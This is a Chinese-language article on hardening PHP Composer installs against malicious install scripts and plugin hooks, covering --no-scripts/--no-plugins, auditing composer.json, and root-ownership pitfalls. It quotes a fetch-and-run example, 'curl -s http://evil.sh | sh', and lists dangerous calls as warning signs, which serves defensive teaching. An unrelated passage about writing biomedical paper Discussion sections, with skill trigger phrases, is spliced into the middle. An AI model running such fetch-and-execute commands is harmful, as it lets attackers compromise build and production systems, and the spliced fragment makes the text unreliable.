composer install --no-scripts --no-plugins是唯一官方支持的禁用所有脚本及插件钩子的方式,可防止post-install-cmd等恶意执行,确保生产与ci环境安全。

Composer 安装过程中执行恶意脚本不是小概率事件,而是只要满足“有脚本 + 没禁用”就必然发生的事。 它不依赖漏洞,也不需要你手滑点错——composer install 默认就会跑 post-install-cmd,哪怕那行命令是 curl -s http://evil.sh | sh。
为什么 --no-scripts 和 --no-plugins 必须一起用
只加 --no-scripts 不够:某些插件(比如 symfony/flex 或私有仓库认证插件)会在安装阶段通过 PluginInterface 注入钩子,绕过 scripts 字段直接执行 PHP 代码。而只加 --no-plugins 也不行:你项目自己的 composer.json 里写的 post-install-cmd 依然会运行。
-
--no-scripts关闭所有scripts钩子(post-install-cmd、pre-autoload-dump等) -
--no-plugins跳过所有插件加载,包括那些能动态注册新钩子的插件 - 两者缺一不可,CI/CD 中应写成
composer install --no-scripts --no-plugins --no-interaction - 注意顺序:
composer --no-scripts install是错的,参数必须紧贴命令名后
如何确认当前项目有没有可疑脚本
别靠眼睛扫 composer.json —— 很多恶意脚本用变量拼接、base64 编码或环境判断来隐藏。用 Composer 自带工具快速筛查:
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论(Discussion)”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性,以及撰写结论。当用户输入以下任一指令时也会自动触发该功能: - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 运行
composer validate --strict,它会警告含exec、system、shell_exec、passthru字符串的脚本命令 - 检查
scripts字段是否包含 HTTP URL(如curl https://)、绝对路径(如/tmp/xxx.sh)、或$()/${}变量展开 - 对疑似命令,先加
echo测试真实展开效果:比如echo php -r 'echo getenv("EVIL");' - 特别留意
post-root-package-install和pre-autoload-dump,这两个钩子常被用于环境探测和条件执行
root 用户运行 Composer 的真实风险在哪
报错不是重点,重点是文件属主污染和权限失控。一旦用 root 执行过一次 composer install,这些路径大概率变成 root 所有:
-
vendor/目录及其全部子文件 -
composer.lock和vendor/autoload.php - 甚至
~/.composer/cache/(如果没设COMPOSER_HOME) - 后续普通用户(如
www-data)无法修改或重写这些文件,导致部署失败、缓存无法更新、autoload 失效 - Docker 构建中常见陷阱:
USER root后没清理/root/.composer,或没重设COMPOSER_HOME,导致警告照出、缓存仍走 root 路径
生产环境该不该清空 scripts 字段
应该,但要分情况处理。清空 "post-install-cmd": [] 这类字段,能让脚本“逻辑上不存在”,比单靠命令行参数更可靠——开发人员本地漏掉 --no-scripts 也没用。
- 空数组
[]是有效值;null或false会被 Composer 忽略,回退到默认行为 - Laravel 等框架依赖
post-autoload-dump生成优化映射,清空后需手动补composer dump-autoload --optimize - 如果真需要某个脚本(比如构建前端资源),只保留那一个,并确保其源码不含
exec、system、file_put_contents('/etc/...')等高危调用 - 更稳妥的做法:把初始化逻辑从 Composer 钩子移到部署脚本或应用入口(如
index.php中检查配置是否存在再生成)
真正危险的从来不是“会不会被攻击”,而是“你根本不知道它已经执行过了”。post-install-cmd 不留日志、不报错、不提示,它只是安静地运行——直到某天 public/shell.php 出现在你的 Web 根目录下。










